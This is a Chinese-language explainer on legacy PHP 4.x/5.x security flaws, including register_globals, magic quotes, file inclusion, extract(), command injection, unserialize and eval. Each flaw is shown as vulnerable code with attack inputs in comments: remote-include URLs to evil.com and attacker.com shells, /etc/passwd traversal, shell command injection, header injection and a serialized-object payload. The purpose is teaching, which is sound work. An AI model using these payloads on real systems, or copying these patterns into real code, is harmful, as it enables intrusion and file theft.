1.全局变量自动注册
register_globals = On(PHP 4.2.0前默认开启,PHP 5.4.0移除):
// URL: index.php?is_admin=1 if ($is_admin) { // 直接访问URL参数 grant_admin_privileges(); } // 攻击者可直接传入?is_admin=1获得管理员权限安全影响:
任何GET/POST/COOKIE参数都会自动成为全局变量
变量覆盖攻击
权限绕过
2.未过滤的输入
未使用过滤函数(PHP 5.2前):
// PHP 4.x 常见写法 $username = $_GET['username']; // 直接使用 $sql = "SELECT * FROM users WHERE username='$username'"; // SQL注入:username=' OR '1'='1问题:
无
filter_var()、mysqli_real_escape_string()强制使用魔术引号(magic_quotes_gpc)的伪安全
3.魔术引号(Magic Quotes)
magic_quotes_gpc = On(PHP 5.4.0移除):
// 自动转义:' -> \', " -> \", \ -> \\ $input = $_GET['input']; // 自动转义 echo $input; // 显示原始内容,但数据库已转义问题:
虚假安全感,开发者以为已安全
双重转义:
O\'Reilly破坏二进制数据
4.文件包含路径穿越
allow_url_include = On(PHP 5.2前默认):
// PHP 4.x/5.x include($_GET['page'] . '.php'); // 攻击:?page=http://evil.com/shell // 或 ?page=../../../etc/passwd%00漏洞利用:
// 远程文件包含 include("http://attacker.com/shell.txt"); // 本地文件包含 + null字节截断 include($_GET['file'] . '.php'); // ?file=../../../etc/passwd%005. 可变量变量
可变变量滥用:
// 从用户输入控制变量名 $_ = $_GET['action']; $$_ = $_GET['value']; // 攻击:?action=config&value=HACKED // 结果:$config = "HACKED"extract()危险使用:
// 将数组键名转为变量 extract($_GET); // 攻击:?is_admin=1&logged_in=1 // 覆盖已有变量6.Session安全问题
session.use_trans_sid = 1(自动在URL中添加session id):
// URL自动包含PHPSESSID <a href="page.php">链接</a> // 生成:<a href="page.php?PHPSESSID=abc123">链接</a>session固定攻击:
// 低版本可预测session id session_id($_GET['sessid']); // 攻击者指定session id session_start();7.HTTP头部注入
header()不验证输入:
// PHP 5.1.x $redirect = $_GET['redirect']; header("Location: " . $redirect); // 攻击:?redirect=http://evil.com\r\nSet-Cookie: admin=18.命令注入
危险函数未过滤:
// PHP 4.x常见代码 $cmd = "ping " . $_GET['ip']; system($cmd); // 攻击:127.0.0.1; cat /etc/passwd相关函数:
system(),exec(),shell_exec()passthru(),popen(),proc_open()反引号(
`command`)
9.反序列化漏洞
PHP 5.x的__wakeup()问题:
class Example { public $data; public function __wakeup() { system($this->data); // 危险 } } $obj = unserialize($_GET['data']); // 攻击:data=O:7:"Example":1:{s:4:"data";s:9:"cat /etc/passwd";}10.危险配置组合
php.ini危险配置:
; PHP 4.x/5.x典型危险配置 register_globals = On allow_url_fopen = On allow_url_include = On safe_mode = Off display_errors = On11.常见漏洞模式
模式1:直接包含动态文件
// file.php $page = $_GET['page']; include($page . '.php'); // LFI:?page=../../../../etc/passwd%00 // RFI:?page=http://evil.com/shell.txt模式2:未验证数组键存在
// PHP 4.x常见 $id = $HTTP_GET_VARS['id']; // 超全局数组 if ($id) { // 可能为0 // ... }模式3:eval()动态代码
$code = $_GET['code']; eval($code); // 直接执行任意代码关键历史版本变化
PHP 4.2.0:
register_globals默认关闭PHP 5.3.0:弃用
magic_quotes_gpcPHP 5.4.0:移除
register_globals、magic_quotes_gpcPHP 5.6.0:默认
default_charset = UTF-8PHP 7.0.0:移除
mysql_*函数